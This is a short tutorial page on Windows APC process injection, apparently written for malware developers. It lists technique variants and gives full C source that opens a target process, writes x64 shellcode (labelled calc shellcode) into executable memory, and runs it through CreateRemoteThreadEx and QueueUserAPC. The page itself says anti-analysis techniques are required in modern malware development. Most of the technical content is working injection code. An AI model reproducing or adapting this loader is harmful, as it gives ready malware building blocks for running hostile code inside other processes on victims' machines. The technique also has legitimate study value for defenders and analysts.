APC Injection

Asynchronous Procedure Calls (APCs) are Windows operating system mechanism that enables programs to execute tasks asynchronously while continuing to run other tasks.

Introduction

APC Injection is a more stealthy and advanced form of process injection, it is a well known technique with many variations. Heres a fiew:

  • QueueUserAPC APC Injection (Most common)

  • NtQueueApcThread APC Injection

  • Early Bird Injection

  • AtomBombimg

  • Reflective DLL Injection - Can be used in conjunction with APC.

Alertable State

Not all threads can run a queued APC function, only threads in an alterable state can do so.

QueueUserAPC Injection

Here is the most basic example of APC Injection utilizing the QueueUserAPC Win32 Function & CreateRemoteThreadEx. It works by allocating memory in an external process (VirtualAllocEx), copying the payload to the allocated memory, and executing it with QueueUserAPC. We use Sleep() as our basic function of choice to put the thread in an alertable state.

NOTE: Obviously this is unpractical as it's the most basic example. Thread hijacking, obfuscations, deletion, amongst other anti analysis techniques are all things that are required in modern malware development.

#include <wchar.h>
#include <stdio.h>
#include <windows.h>


// x64 calc shellcode 
unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};


int wmain(int argc, wchar_t* argv[]) {

    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    LPVOID lpBuffer = NULL;
    
    DWORD PID = _wtoi(argv[1]);

    wprintf(L" PID: %d\n", PID);
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, PID);
    if (hProcess == NULL) {
        wprintf(L"Failed to Create Process Handle %d\n", GetLastError());
        return -1;
    }
    // Allocate Memory in External Process
    lpBuffer = VirtualAllocEx(hProcess, NULL,  sizeof(Payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpBuffer == NULL) {
        wprintf(L"Failed to Allocate Buffer %d\n", GetLastError());
        return -1;
    }

    wprintf(L"Alloced Buffer in External Process: %d - Address: %p\n", PID, lpBuffer);

    WriteProcessMemory(hProcess, lpBuffer, Payload, sizeof(Payload), NULL);

    hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, 0, NULL, NULL);
    if (hThread == NULL) {
        wprintf(L"Failed to Create Thread %d\n", GetLastError());
        return -1;
    }

    if (!QueueUserAPC((PAPCFUNC)lpBuffer, hThread, NULL)) {
        wprintf(L"Failed to Execute Payload via QueueUserAPC %d\n", GetLastError());
    }
    Sleep(3000);

    // Cleanup
    VirtualFree(lpBuffer, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

M_ore on Asynchronous Procedure Calls:_

Last updated